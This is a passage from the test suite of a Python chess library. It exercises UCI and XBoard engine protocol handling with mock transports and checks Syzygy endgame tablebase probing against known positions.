binc 4 movestogo 5 depth 6 nodes 7 mate 8 movetime 9", ["bestmove d2d4"]) limit = chess.engine.Limit(white_clock=0.001, black_clock=0.002, white_inc=0.003, black_inc=0.004, remaining_moves=5, depth=6, nodes=7, mate=8, time=0.009) result = await protocol.play(board, limit) self.assertEqual(result.move, chess.Move.from_uci("d2d4")) self.assertEqual(result.ponder, None) mock.assert_done() asyncio.run(main()) def test_iota_log(self): async def main(): protocol = chess.engine.UciProtocol() mock = chess.engine.MockTransport(protocol) # Initialize. mock.expect("uci", ["uciok"]) await protocol.initialize() # Iota writes invalid \0 character in old version. mock.expect("ucinewgame") mock.expect("isready", ["readyok"]) mock.expect("position startpos moves d2d4") mock.expect("go movetime 5000", ["bestmove e7e6\0"]) board = chess.Board() board.push_uci("d2d4") with self.assertRaises(chess.engine.EngineError): await protocol.play(board, chess.engine.Limit(time=5.0)) mock.assert_done() asyncio.run(main()) def test_uci_analyse_mode(self): async def main(): protocol = chess.engine.UciProtocol() mock = chess.engine.MockTransport(protocol) # Initialize. mock.expect("uci", [ "option name UCI_AnalyseMode type check default false", "uciok", ]) await protocol.initialize() # Analyse. mock.expect("setoption name UCI_AnalyseMode value true") mock.expect("ucinewgame") mock.expect("isready", ["readyok"]) mock.expect("position startpos") mock.expect("go infinite") mock.expect("stop", ["bestmove e2e4"]) result = await protocol.analysis(chess.Board()) self.assertTrue(result.would_block()) result.stop() best = await result.wait() self.assertFalse(result.would_block()) self.assertEqual(best.move, chess.Move.from_uci("e2e4")) self.assertTrue(best.ponder is None) mock.assert_done() # Explicitly disable. mock.expect("setoption name UCI_AnalyseMode value false") await protocol.configure({"UCI_AnalyseMode": False}) mock.assert_done() # Analyse again. mock.expect("position startpos") mock.expect("go infinite") mock.expect("stop", ["bestmove e2e4 ponder e7e5"]) result = await protocol.analysis(chess.Board()) result.stop() best = await result.wait() self.assertEqual(best.move, chess.Move.from_uci("e2e4")) self.assertEqual(best.ponder, chess.Move.from_uci("e7e5")) mock.assert_done() asyncio.run(main()) def test_uci_play_after_analyse(self): async def main(): protocol = chess.engine.UciProtocol() mock = chess.engine.MockTransport(protocol) # Initialize. mock.expect("uci", ["uciok"]) await protocol.initialize() # Ponder. board = chess.Board() mock.expect("ucinewgame") mock.expect("isready", ["readyok"]) mock.expect("position startpos") mock.expect("go depth 20", ["bestmove a2a4 ponder a7a5"]) info = await protocol.analyse(board, chess.engine.Limit(depth=20)) self.assertEqual(info, {}) # Play. mock.expect("position startpos") mock.expect("go movetime 3000", ["bestmove a2a4 ponder a7a5"]) await protocol.play(board, chess.engine.Limit(time=3)) mock.assert_done() asyncio.run(main()) def test_uci_ponderhit(self): async def main(): protocol = chess.engine.UciProtocol() mock = chess.engine.MockTransport(protocol) # Initialize. mock.expect("uci", [ "option name Hash type spin default 16 min 1 max 33554432", "option name Ponder type check default false", "option name UCI_Opponent type string", "uciok", ]) await protocol.initialize() primary_opponent = chess.engine.Opponent("Eliza", None, 3500, True) await protocol.send_opponent_information(opponent=primary_opponent) # First search. mock.expect("setoption name Ponder value true") mock.expect("ucinewgame") mock.expect("setoption name UCI_Opponent value none 3500 computer Eliza") mock.expect("isready", ["readyok"]) mock.expect("position startpos") mock.expect("go movetime 1000", ["bestmove d2d4 ponder g8f6"]) mock.expect("position startpos moves d2d4 g8f6") mock.expect("go ponder movetime 1000") board = chess.Board() result = await protocol.play(board, chess.engine.Limit(time=1), ponder=True) self.assertEqual(result.move, chess.Move.from_uci("d2d4")) self.assertEqual(result.ponder, chess.Move.from_uci("g8f6")) # Ponderhit. board.push(result.move) board.push(result.ponder) mock.expect("ponderhit", ["bestmove c2c4 ponder e7e6"]) mock.expect("position startpos moves d2d4 g8f6 c2c4 e7e6") mock.expect("go ponder movetime 2000") result = await protocol.play(board, chess.engine.Limit(time=2), ponder=True) self.assertEqual(result.move, chess.Move.from_uci("c2c4")) self.assertEqual(result.ponder, chess.Move.from_uci("e7e6")) # Ponderhit prevented by changed option. board.push(result.move) board.push(result.ponder) mock.expect("stop", ["bestmove g2g3 ponder f8b4"]) mock.expect("setoption name Hash value 32") mock.expect("position startpos moves d2d4 g8f6 c2c4 e7e6") mock.expect("go movetime 3000", ["bestmove b1c3 ponder f8b4"]) mock.expect("position startpos moves d2d4 g8f6 c2c4 e7e6 b1c3 f8b4") mock.expect("go ponder movetime 3000") result = await protocol.play(board, chess.engine.Limit(time=3), ponder=True, options={"Hash": 32}) self.assertEqual(result.move, chess.Move.from_uci("b1c3")) self.assertEqual(result.ponder, chess.Move.from_uci("f8b4")) # Ponderhit prevented by reverted option. board.push(result.move) board.push(result.ponder) mock.expect("stop", ["bestmove e2e3 ponder e8g8"]) mock.expect("setoption name Hash value 16") mock.expect("position startpos moves d2d4 g8f6 c2c4 e7e6 b1c3 f8b4") mock.expect("go movetime 3000", ["bestmove d1c2 ponder d7d5"]) mock.expect("position startpos moves d2d4 g8f6 c2c4 e7e6 b1c3 f8b4 d1c2 d7d5") mock.expect("go ponder movetime 3000") result = await protocol.play(board, chess.engine.Limit(time=3), ponder=True) self.assertEqual(result.move, chess.Move.from_uci("d1c2")) self.assertEqual(result.ponder, chess.Move.from_uci("d7d5")) # Interject analysis. board.push(result.move) board.push(result.ponder) mock.expect("stop", ["bestmove c4d5 ponder e6d5"]) mock.expect("setoption name Ponder value false") mock.expect("position startpos moves d2d4 g8f6 c2c4 e7e6 b1c3 f8b4 d1c2 d7d5") mock.expect("go movetime 4000", ["bestmove c4d5 ponder e6d5"]) await protocol.analyse(board, chess.engine.Limit(time=4)) # Interjected analysis prevents ponderhit. mock.expect("setoption name Ponder value true") mock.expect("position startpos moves d2d4 g8f6 c2c4 e7e6 b1c3 f8b4 d1c2 d7d5") mock.expect("go movetime 5000", ["bestmove c4d5 ponder e6d5"]) mock.expect("position startpos moves d2d4 g8f6 c2c4 e7e6 b1c3 f8b4 d1c2 d7d5 c4d5 e6d5") mock.expect("go ponder movetime 5000") await protocol.play(board, chess.engine.Limit(time=5), ponder=True) # Ponderhit prevented by new opponent, which starts a new game. board.push(chess.Move.from_uci("c4d5")) board.push(chess.Move.from_uci("e6d5")) mock.expect("stop", ["bestmove c1g5 ponder h7h6"]) mock.expect("ucinewgame") mock.expect("setoption name UCI_Opponent value GM 3000 human Guy Chapman") mock.expect("isready", ["readyok"]) mock.expect("position startpos moves d2d4 g8f6 c2c4 e7e6 b1c3 f8b4 d1c2 d7d5 c4d5 e6d5") mock.expect("go movetime 5000", ["bestmove c1g5 ponder h7h6"]) mock.expect("position startpos moves d2d4 g8f6 c2c4 e7e6 b1c3 f8b4 d1c2 d7d5 c4d5 e6d5 c1g5 h7h6") mock.expect("go ponder movetime 5000") opponent = chess.engine.Opponent("Guy Chapman", "GM", 3000, False) await protocol.play(board, chess.engine.Limit(time=5), ponder=True, opponent=opponent) # Ponderhit prevented by restoration of previous opponent, which again starts a new game. board.push(chess.Move.from_uci("c1g5")) board.push(chess.Move.from_uci("h7h6")) mock.expect("stop", ["bestmove g5h4 ponder b8c6"]) mock.expect("ucinewgame") mock.expect("setoption name UCI_Opponent value none 3500 computer Eliza") mock.expect("isready", ["readyok"]) mock.expect("position startpos moves d2d4 g8f6 c2c4 e7e6 b1c3 f8b4 d1c2 d7d5 c4d5 e6d5 c1g5 h7h6") mock.expect("go movetime 5000", ["bestmove g5h4 ponder b8c6"]) mock.expect("position startpos moves d2d4 g8f6 c2c4 e7e6 b1c3 f8b4 d1c2 d7d5 c4d5 e6d5 c1g5 h7h6 g5h4 b8c6") mock.expect("go ponder movetime 5000") await protocol.play(board, chess.engine.Limit(time=5), ponder=True) mock.assert_done() asyncio.run(main()) def test_uci_info(self): # Info: refutation. board = chess.Board("8/8/6k1/8/8/8/1K6/3B4 w - - 0 1") info = chess.engine._parse_uci_info("refutation d1h5 g6h5", board) self.assertEqual(info["refutation"][chess.Move.from_uci("d1h5")], [chess.Move.from_uci("g6h5")]) info = chess.engine._parse_uci_info("refutation d1h5", board) self.assertEqual(info["refutation"][chess.Move.from_uci("d1h5")], []) # Info: string. info = chess.engine._parse_uci_info("string goes to end no matter score cp 4 what", board) self.assertEqual(info["string"], "goes to end no matter score cp 4 what") # Info: currline. info = chess.engine._parse_uci_info("currline 0 e2e4 e7e5", chess.Board()) self.assertEqual(info["currline"][0], [chess.Move.from_uci("e2e4"), chess.Move.from_uci("e7e5")]) # Info: ebf. info = chess.engine._parse_uci_info("ebf 0.42", board) self.assertEqual(info["ebf"], 0.42) # Info: depth, seldepth, score mate. info = chess.engine._parse_uci_info("depth 7 seldepth 8 score mate 3", board) self.assertEqual(info["depth"], 7) self.assertEqual(info["seldepth"], 8) self.assertEqual(info["score"], chess.engine.PovScore(chess.engine.Mate(+3), chess.WHITE)) # Info: tbhits, cpuload, hashfull, time, nodes, nps. info = chess.engine._parse_uci_info("tbhits 123 cpuload 456 hashfull 789 time 987 nodes 654 nps 321", board) self.assertEqual(info["tbhits"], 123) self.assertEqual(info["cpuload"], 456) self.assertEqual(info["hashfull"], 789) self.assertEqual(info["time"], 0.987) self.assertEqual(info["nodes"], 654) self.assertEqual(info["nps"], 321) # Hakkapeliitta double spaces. info = chess.engine._parse_uci_info("depth 10 seldepth 9 score cp 22 time 17 nodes 48299 nps 2683000 tbhits 0", board) self.assertEqual(info["depth"], 10) self.assertEqual(info["seldepth"], 9) self.assertEqual(info["score"], chess.engine.PovScore(chess.engine.Cp(22), chess.WHITE)) self.assertEqual(info["time"], 0.017) self.assertEqual(info["nodes"], 48299) self.assertEqual(info["nps"], 2683000) self.assertEqual(info["tbhits"], 0) # Unknown tokens. board = chess.Board() info = chess.engine._parse_uci_info("depth 1 unkown1 seldepth 2 unknown2 time 16 nodes 1 score cp 72 unknown3 wdl 249 747 4 multipv 1 uknown4 pv g1f3 g8f6 unknown5", board) self.assertEqual(info["depth"], 1) self.assertEqual(info["seldepth"], 2) self.assertEqual(info["time"], 0.016) self.assertEqual(info["nodes"], 1) self.assertEqual(info["score"], chess.engine.PovScore(chess.engine.Cp(72), chess.WHITE)) self.assertEqual(info["multipv"], 1) self.assertEqual(info["pv"], [chess.Move.from_uci("g1f3"), chess.Move.from_uci("g8f6")]) # WDL (activated with UCI_ShowWDL). info = chess.engine._parse_uci_info("depth 1 seldepth 2 time 16 nodes 1 score cp 72 wdl 249 747 4 hashfull 0 nps 400 tbhits 0 multipv 1", board) self.assertEqual(info["wdl"].white(), chess.engine.Wdl(249, 747, 4)) def test_uci_result(self): async def main(): protocol = chess.engine.UciProtocol() mock = chess.engine.MockTransport(protocol) mock.expect("uci", ["uciok"]) await protocol.initialize() mock.assert_done() limit = chess.engine.Limit(time=5) checkmate_board = chess.Board("k7/7R/6R1/8/8/8/8/K7 w - - 0 1") mock.expect("ucinewgame") mock.expect("isready", ["readyok"]) mock.expect("position fen k7/7R/6R1/8/8/8/8/K7 w - - 0 1") mock.expect("go movetime 5000", ["bestmove g6g8"]) result = await protocol.play(checkmate_board, limit, game="checkmate") self.assertEqual(result.move, checkmate_board.parse_uci("g6g8")) checkmate_board.push(result.move) self.assertTrue(checkmate_board.is_checkmate()) await protocol.send_game_result(checkmate_board) mock.assert_done() asyncio.run(main()) def test_uci_output_after_command(self): async def main(): protocol = chess.engine.UciProtocol() mock = chess.engine.MockTransport(protocol) mock.expect("uci", [ "Arasan v24.0.0-10-g367aa9f Copyright 1994-2023 by Jon Dart.", "All rights reserved.", "id name Arasan v24.0.0-10-g367aa9f", "uciok", "info string out of do_all_pending, list size=0" ]) await protocol.initialize() mock.assert_done() asyncio.run(main()) def test_hiarcs_bestmove(self): async def main(): protocol = chess.engine.UciProtocol() mock = chess.engine.MockTransport(protocol) mock.expect("uci", ["uciok"]) await protocol.initialize() mock.expect("ucinewgame") mock.expect("isready", ["readyok"]) mock.expect("position fen QN4n1/6r1/3k4/8/b2K4/8/8/8 b - - 0 1") mock.expect("go", [ "info depth 1 seldepth 4 time 793 nodes 187 nps 235 score cp -40 pv g7g4 d4c3 string keep double space", "bestmove g7g4 ponder d4c3 ", ]) result = await protocol.play(chess.Board("QN4n1/6r1/3k4/8/b2K4/8/8/8 b - - 0 1"), chess.engine.Limit(), info=chess.engine.INFO_ALL) self.assertEqual(result.move, chess.Move.from_uci("g7g4")) self.assertEqual(result.ponder, chess.Move.from_uci("d4c3")) self.assertEqual(result.info["pv"], [chess.Move.from_uci("g7g4"), chess.Move.from_uci("d4c3")]) self.assertEqual(result.info["string"], "keep double space") mock.assert_done() asyncio.run(main()) def test_xboard_options(self): async def main(): protocol = chess.engine.XBoardProtocol() mock = chess.engine.MockTransport(protocol) mock.expect("xboard") mock.expect("protover 2", [ "feature egt=syzygy,gaviota", "feature option=\"spinvar -spin 50 0 100\"", "feature option=\"combovar -combo HI /// HELLO /// BYE\"", "feature option=\"checkvar -check 0\"", "feature option=\"stringvar -string \"\"\"", "feature option=\"filevar -file \"\"\"", "feature option=\"pathvar -path \"\"\"", "feature option=\"buttonvar -button\"", "feature option=\"resetvar -reset\"", "feature option=\"savevar -save\"", "feature ping=1 setboard=1 done=1", ]) mock.expect("accepted egt") await protocol.initialize() mock.assert_done() self.assertEqual(protocol.options["egtpath syzygy"].type, "path") self.assertEqual(protocol.options["egtpath gaviota"].name, "egtpath gaviota") self.assertEqual(protocol.options["spinvar"].type, "spin") self.assertEqual(protocol.options["spinvar"].default, 50) self.assertEqual(protocol.options["spinvar"].min, 0) self.assertEqual(protocol.options["spinvar"].max, 100) self.assertEqual(protocol.options["combovar"].type, "combo") self.assertEqual(protocol.options["combovar"].var, ["HI", "HELLO", "BYE"]) self.assertEqual(protocol.options["checkvar"].type, "check") self.assertEqual(protocol.options["checkvar"].default, False) self.assertEqual(protocol.options["stringvar"].type, "string") self.assertEqual(protocol.options["filevar"].type, "file") self.assertEqual(protocol.options["pathvar"].type, "path") self.assertEqual(protocol.options["buttonvar"].type, "button") self.assertEqual(protocol.options["resetvar"].type, "reset") self.assertEqual(protocol.options["savevar"].type, "save") mock.expect("option combovar=HI") await protocol.configure({"combovar": "HI"}) mock.assert_done() mock.expect("option spinvar=42") await protocol.configure({"spinvar": 42}) mock.assert_done() mock.expect("option checkvar=1") await protocol.configure({"checkvar": True}) mock.assert_done() mock.expect("option pathvar=.") await protocol.configure({"pathvar": "."}) mock.assert_done() mock.expect("option buttonvar") await protocol.configure({"buttonvar": None}) mock.assert_done() asyncio.run(main()) def test_xboard_replay(self): async def main(): protocol = chess.engine.XBoardProtocol() mock = chess.engine.MockTransport(protocol) mock.expect("xboard") mock.expect("protover 2", ["feature ping=1 setboard=1 done=1"]) await protocol.initialize() mock.assert_done() limit = chess.engine.Limit(time=1.5, depth=17) board = chess.Board() board.push_san("d4") board.push_san("Nf6") board.push_san("c4") mock.expect("new") mock.expect("force") mock.expect("d2d4") mock.expect("g8f6") mock.expect("c2c4") mock.expect("st 1.5") mock.expect("sd 17") mock.expect("nopost") mock.expect("easy") mock.expect("go", ["move e7e6"]) mock.expect_ping() result = await protocol.play(board, limit, game="game") self.assertEqual(result.move, board.parse_san("e6")) mock.assert_done() board.pop() mock.expect("force") mock.expect("remove") mock.expect("st 1.5") mock.expect("sd 17") mock.expect("nopost") mock.expect("easy") mock.expect("go", ["move c2c4"]) mock.expect_ping() result = await protocol.play(board, limit, game="game") self.assertEqual(result.move, board.parse_san("c4")) mock.assert_done() board.pop() board.pop() mock.expect("force") mock.expect("remove") mock.expect("undo") mock.expect("st 1.5") mock.expect("sd 17") mock.expect("nopost") mock.expect("easy") mock.expect("go", ["move d2d4"]) mock.expect_ping() result = await protocol.play(board, limit, game="game") self.assertEqual(result.move, board.parse_san("d4")) mock.assert_done() asyncio.run(main()) def test_xboard_opponent(self): async def main(): protocol = chess.engine.XBoardProtocol() mock = chess.engine.MockTransport(protocol) mock.expect("xboard") mock.expect("protover 2", ["feature ping=1 setboard=1 name=1 done=1"]) await protocol.initialize() mock.assert_done() limit = chess.engine.Limit(time=5) board = chess.Board() opponent = chess.engine.Opponent("Turk", "Mechanical", 2100, True) await protocol.send_opponent_information(opponent=opponent, engine_rating=3600) mock.expect("new") mock.expect("name Mechanical Turk") mock.expect("rating 3600 2100") mock.expect("computer") mock.expect("force") mock.expect("st 5") mock.expect("nopost") mock.expect("easy") mock.expect("go", ["move e2e4"]) mock.expect_ping() result = await protocol.play(board, limit, game="game") self.assertEqual(result.move, board.parse_san("e4")) mock.assert_done() new_opponent = chess.engine.Opponent("Turochamp", None, 800, True) board.push(result.move) mock.expect("new") mock.expect("name Turochamp") mock.expect("rating 3600 800") mock.expect("computer") mock.expect("force") mock.expect("e2e4") mock.expect("st 5") mock.expect("nopost") mock.expect("easy") mock.expect("go", ["move e7e5"]) mock.expect_ping() result = await protocol.play(board, limit, game="game", opponent=new_opponent) self.assertEqual(result.move, board.parse_san("e5")) mock.assert_done() bad_opponent = chess.engine.Opponent("New\nLine", "GM", 1, False) with self.assertRaises(chess.engine.EngineError): await protocol.send_opponent_information(opponent=bad_opponent) mock.assert_done() with self.assertRaises(chess.engine.EngineError): result = await protocol.play(board, limit, game="bad game", opponent=bad_opponent) mock.assert_done() asyncio.run(main()) def test_xboard_result(self): async def main(): protocol = chess.engine.XBoardProtocol() mock = chess.engine.MockTransport(protocol) mock.expect("xboard") mock.expect("protover 2", ["feature ping=1 setboard=1 done=1"]) await protocol.initialize() mock.assert_done() limit = chess.engine.Limit(time=5) checkmate_board = chess.Board("k7/7R/6R1/8/8/8/8/K7 w - - 0 1") mock.expect("new") mock.expect("force") mock.expect("setboard k7/7R/6R1/8/8/8/8/K7 w - - 0 1") mock.expect("st 5") mock.expect("nopost") mock.expect("easy") mock.expect("go", ["move g6g8"]) mock.expect_ping() mock.expect("force") mock.expect("result 1-0 {White mates}") result = await protocol.play(checkmate_board, limit, game="checkmate") self.assertEqual(result.move, checkmate_board.parse_uci("g6g8")) checkmate_board.push(result.move) self.assertTrue(checkmate_board.is_checkmate()) await protocol.send_game_result(checkmate_board) mock.assert_done() unfinished_board = chess.Board() mock.expect("new") mock.expect("force") mock.expect("st 5") mock.expect("nopost") mock.expect("easy") mock.expect("go", ["move e2e4"]) mock.expect_ping() mock.expect("force") mock.expect("result *") result = await protocol.play(unfinished_board, limit, game="unfinished") self.assertEqual(result.move, unfinished_board.parse_uci("e2e4")) unfinished_board.push(result.move) await protocol.send_game_result(unfinished_board, game_complete=False) mock.assert_done() timeout_board = chess.Board() mock.expect("new") mock.expect("force") mock.expect("st 5") mock.expect("nopost") mock.expect("easy") mock.expect("go", ["move e2e4"]) mock.expect_ping() mock.expect("force") mock.expect("result 0-1 {Time forfeiture}") result = await protocol.play(timeout_board, limit, game="timeout") self.assertEqual(result.move, timeout_board.parse_uci("e2e4")) timeout_board.push(result.move) await protocol.send_game_result(timeout_board, chess.BLACK, "Time forfeiture") mock.assert_done() error_board = chess.Board() mock.expect("new") mock.expect("force") mock.expect("st 5") mock.expect("nopost") mock.expect("easy") mock.expect("go", ["move e2e4"]) mock.expect_ping() result = await protocol.play(error_board, limit, game="error") self.assertEqual(result.move, error_board.parse_uci("e2e4")) error_board.push(result.move) for c in "\n\r{}": with self.assertRaises(chess.engine.EngineError): await protocol.send_game_result(error_board, chess.BLACK, f"Time{c}forfeiture") mock.assert_done() material_board = chess.Board("k7/8/8/8/8/8/8/K7 b - - 0 1") self.assertTrue(material_board.is_insufficient_material()) mock.expect("new") mock.expect("force") mock.expect("setboard k7/8/8/8/8/8/8/K7 b - - 0 1") mock.expect("result 1/2-1/2 {Insufficient material}") await protocol.send_game_result(material_board) mock.assert_done() asyncio.run(main()) def test_xboard_analyse(self): async def main(): protocol = chess.engine.XBoardProtocol() mock = chess.engine.MockTransport(protocol) mock.expect("xboard") mock.expect("protover 2", [ "feature done=0 ping=1 setboard=1", "feature exclude=1", "feature variants=\"normal,atomic\" done=1", ]) await protocol.initialize() mock.assert_done() board = chess.variant.AtomicBoard("rnbqkbnr/pppppppp/8/8/8/5N2/PPPPPPPP/RNBQKB1R b KQkq - 1 1") limit = chess.engine.Limit(depth=1) mock.expect("new") mock.expect("variant atomic") mock.expect("force") mock.expect("setboard rnbqkbnr/pppppppp/8/8/8/5N2/PPPPPPPP/RNBQKB1R b KQkq - 1 1") mock.expect("exclude all") mock.expect("include f7f6") mock.expect("post") mock.expect("analyze", ["4 116 23 2252 1... f6 2. e4 e6"]) mock.expect(".") mock.expect("exit") mock.expect_ping() info = await protocol.analyse(board, limit, root_moves=[board.parse_san("f6")]) self.assertEqual(info["depth"], 4) self.assertEqual(info["score"], chess.engine.PovScore(chess.engine.Cp(116), chess.BLACK)) self.assertEqual(info["time"], 0.23) self.assertEqual(info["nodes"], 2252) self.assertEqual(info["pv"], [chess.Move.from_uci(move) for move in ["f7f6", "e2e4", "e7e6"]]) mock.assert_done() asyncio.run(main()) def test_xboard_level(self): async def main(): protocol = chess.engine.XBoardProtocol() mock = chess.engine.MockTransport(protocol) mock.expect("xboard") mock.expect("protover 2", ["feature ping=1 setboard=1 done=1"]) await protocol.initialize() mock.assert_done() limit = chess.engine.Limit(black_clock=65, white_clock=100, black_inc=4, white_inc=8, clock_id="xboard level") board = chess.Board() mock.expect("new") mock.expect("force") mock.expect("level 0 1:40 8") mock.expect("time 10000") mock.expect("otim 6500") mock.expect("nopost") mock.expect("easy") mock.expect("go", ["move e2e4"]) mock.expect_ping() result = await protocol.play(board, limit) self.assertEqual(result.move, chess.Move.from_uci("e2e4")) mock.assert_done() board.push(result.move) board.push_uci("e7e5") mock.expect("force") mock.expect("e7e5") mock.expect("time 10000") mock.expect("otim 6500") mock.expect("nopost") mock.expect("easy") mock.expect("go", ["move d2d4"]) mock.expect_ping() result = await protocol.play(board, limit) self.assertEqual(result.move, chess.Move.from_uci("d2d4")) mock.assert_done() asyncio.run(main()) def test_xboard_error(self): async def main(): protocol = chess.engine.XBoardProtocol() mock = chess.engine.MockTransport(protocol) mock.expect("xboard") mock.expect("protover 2", ["Error (failed to initialize): Too bad!"]) with self.assertRaises(chess.engine.EngineError): await protocol.initialize() with self.assertRaises(chess.engine.EngineError): # Trying to use the engine, but it was not successfully initialized. await protocol.ping() mock.assert_done() asyncio.run(main()) @catchAndSkip(FileNotFoundError, "need /bin/bash") def test_transport_close_with_pending(self): async def main(): transport, protocol = await chess.engine.popen_uci(["/bin/bash", "-c", "read && echo uciok && sleep 86400"]) protocol.loop.call_later(0.01, transport.close) results = await asyncio.gather(protocol.ping(), protocol.ping(), return_exceptions=True) self.assertNotEqual(results[0], None) self.assertNotEqual(results[1], None) asyncio.run(main()) @catchAndSkip(FileNotFoundError, "need /bin/bash") def test_quit_timeout(self): with chess.engine.SimpleEngine.popen_uci(["/bin/bash", "-c", "read && echo uciok && sleep 86400"], debug=True) as engine: engine.timeout = 0.01 with self.assertRaises(asyncio.TimeoutError): engine.quit() def test_run_in_background(self): class ExpectedError(Exception): pass async def raise_expected_error(future): await asyncio.sleep(0.001) raise ExpectedError with self.assertRaises(ExpectedError): chess.engine.run_in_background(raise_expected_error) async def resolve(future): await asyncio.sleep(0.001) future.set_result("resolved") await asyncio.sleep(0.001) result = chess.engine.run_in_background(resolve) self.assertEqual(result, "resolved") class SyzygyTestCase(unittest.TestCase): def test_calc_key(self): board = chess.Board("8/8/8/5N2/5K2/2kB4/8/8 b - - 0 1") key_from_board = chess.syzygy.calc_key(board) key_from_filename = chess.syzygy.normalize_tablename("KBNvK") self.assertEqual(key_from_board, key_from_filename) def test_tablenames(self): self.assertIn("KPPvKN", chess.syzygy.tablenames()) self.assertIn("KNNPvKN", chess.syzygy.tablenames()) self.assertIn("KQRNvKR", chess.syzygy.tablenames()) self.assertIn("KRRRvKR", chess.syzygy.tablenames()) self.assertIn("KRRvKRR", chess.syzygy.tablenames()) self.assertIn("KRNvKRP", chess.syzygy.tablenames()) self.assertIn("KRPvKP", chess.syzygy.tablenames()) def test_suicide_tablenames(self): # Test the number of 6-piece tables. self.assertEqual(sum(1 for eg in chess.syzygy.tablenames(one_king=False) if len(eg) == 7), 5754) def test_normalize_tablename(self): names = set(chess.syzygy.tablenames()) for name in names: self.assertTrue( chess.syzygy.normalize_tablename(name) in names, f"Already normalized {name}") w, b = name.split("v", 1) swapped = b + "v" + w self.assertTrue( chess.syzygy.normalize_tablename(swapped) in names, f"Normalized {swapped}") def test_normalize_nnvbb(self): self.assertEqual(chess.syzygy.normalize_tablename("KNNvKBB"), "KBBvKNN") def test_dependencies(self): self.assertEqual(set(chess.syzygy.dependencies("KBNvK")), set(["KBvK", "KNvK"])) def test_get_wdl_get_dtz(self): with chess.syzygy.Tablebase() as tables: board = chess.Board() self.assertEqual(tables.get_dtz(board, tables.get_wdl(board)), None) def test_probe_pawnless_wdl_table(self): wdl = chess.syzygy.WdlTable("data/syzygy/regular/KBNvK.rtbw") wdl.init_table_wdl() board = chess.Board("8/8/8/5N2/5K2/2kB4/8/8 b - - 0 1") self.assertEqual(wdl.probe_wdl_table(board), -2) board = chess.Board("7B/5kNK/8/8/8/8/8/8 w - - 0 1") self.assertEqual(wdl.probe_wdl_table(board), 2) board = chess.Board("N7/8/2k5/8/7K/8/8/B7 w - - 0 1") self.assertEqual(wdl.probe_wdl_table(board), 2) board = chess.Board("8/8/1NkB4/8/7K/8/8/8 w - - 1 1") self.assertEqual(wdl.probe_wdl_table(board), 0) board = chess.Board("8/8/8/2n5/2b1K3/2k5/8/8 w - - 0 1") self.assertEqual(wdl.probe_wdl_table(board), -2) wdl.close() def test_probe_wdl_table(self): wdl = chess.syzygy.WdlTable("data/syzygy/regular/KRvKP.rtbw") wdl.init_table_wdl() board = chess.Board("8/8/2K5/4P3/8/8/8/3r3k b - - 1 1") self.assertEqual(wdl.probe_wdl_table(board), 0) board = chess.Board("8/8/2K5/8/4P3/8/8/3r3k b - - 1 1") self.assertEqual(wdl.probe_wdl_table(board), 2) wdl.close() def test_probe_dtz_table_piece(self): dtz = chess.syzygy.DtzTable("data/syzygy/regular/KRvKN.rtbz") dtz.init_table_dtz() # Pawnless position with white to move. board = chess.Board("7n/6k1/4R3/4K3/8/8/8/8 w - - 0 1") self.assertEqual(dtz.probe_dtz_table(board, 2), (0, -1)) # Same position with black to move. board = chess.Board("7n/6k1/4R3/4K3/8/8/8/8 b - - 1 1") self.assertEqual(dtz.probe_dtz_table(board, -2), (8, 1)) dtz.close() def test_probe_dtz_table_pawn(self): dtz = chess.syzygy.DtzTable("data/syzygy/regular/KNvKP.rtbz") dtz.init_table_dtz() board = chess.Board("8/1K6/1P6/8/8/8/6n1/7k w - - 0 1") self.assertEqual(dtz.probe_dtz_table(board, 2), (2, 1)) dtz.close() def test_probe_wdl_tablebase(self): with chess.syzygy.Tablebase(max_fds=2) as tables: self.assertGreaterEqual(tables.add_directory("data/syzygy/regular"), 70) # Winning KRvKB. board = chess.Board("7k/6b1/6K1/8/8/8/8/3R4 b - - 12 7") self.assertEqual(tables.probe_wdl_table(board), -2) # Drawn KBBvK. board = chess.Board("7k/8/8/4K3/3B4/4B3/8/8 b - - 12 7") self.assertEqual(tables.probe_wdl_table(board), 0) # Winning KBBvK. board = chess.Board("7k/8/8/4K2B/8/4B3/8/8 w - - 12 7") self.assertEqual(tables.probe_wdl_table(board), 2) def test_wdl_ep(self): with chess.syzygy.open_tablebase("data/syzygy/regular") as tables: # Winning KPvKP because of en passant. board = chess.Board("8/8/8/k2Pp3/8/8/8/4K3 w - e6 0 2") # If there was no en passant, this would be a draw. self.assertEqual(tables.probe_wdl_table(board), 0) # But it is a win. self.assertEqual(tables.probe_wdl(board), 2) def test_dtz_ep(self): with chess.syzygy.open_tablebase("data/syzygy/regular") as tables: board = chess.Board("8/8/8/8/2pP4/2K5/4k3/8 b - d3 0 1") self.assertEqual(tables.probe_dtz_no_ep(board), -1) self.assertEqual(tables.probe_dtz(board), 1) def test_testsuite(self): with chess.syzygy.open_tablebase("data/syzygy/regular") as tables, open("data/endgame.epd") as epds: board = chess.Board() for line, epd in enumerate(epds): extra = board.set_epd(epd) wdl_table = tables.probe_wdl_table(board) self.assertEqual( wdl_table, extra["wdl_table"], f"Expecting wdl_table {extra['wdl_table']} for {board.fen()}, got {wdl_table} (at line {line + 1})") wdl = tables.probe_wdl(board) self.assertEqual( wdl, extra["wdl"], f"Expecting wdl {extra['wdl']} for {board.fen()}, got {wdl} (at line {line + 1})") dtz = tables.probe_dtz(board) self.assertEqual( dtz, extra["dtz"], f"Expecting dtz {extra['dtz']} for {board.fen()}, got {dtz} (at line {line + 1})") @catchAndSkip(chess.syzygy.MissingTableError) def test_stockfish_dtz_bug(self): with chess.syzygy.open_tablebase("data/syzygy/regular") as tables: board = chess.Board("3K4/8/3k4/8/4p3/4B3/5P2/8 w - - 0 5") self.assertEqual(tables.probe_dtz(board), 15) @catchAndSkip(chess.syzygy.MissingTableError) def test_issue_93(self): with chess.syzygy.open_tablebase("data/syzygy/regular") as tables: board = chess.Board("4r1K1/6PP/3k4/8/8/8/8/8 w - - 1 64") self.assertEqual(tables.probe_wdl(board), 2) self.assertEqual(tables.probe_dtz(board), 4) @catchAndSkip(chess.syzygy.MissingTableError) def test_suicide_dtm(self): with chess.syzygy.open_tablebase("data/syzygy/suicide", VariantBoard=chess.variant.SuicideBoard) as tables, open("data/suicide-dtm.epd") as epds: for epd in epds: epd = epd.strip() board, solution = chess.variant.SuicideBoard.from_epd(epd) wdl = tables.probe_wdl(board) expected_wdl = ((solution["max_dtm"] > 0) - (solution["max_dtm"] < 0)) * 2 self.assertEqual(wdl, expected_wdl, f"Expecting wdl {expected_wdl}, got {wdl} (in {epd})") dtz = tables.probe_dtz(board) if wdl > 0: self.assertGreaterEqual(dtz, chess.syzygy.dtz_before_zeroing(wdl)) 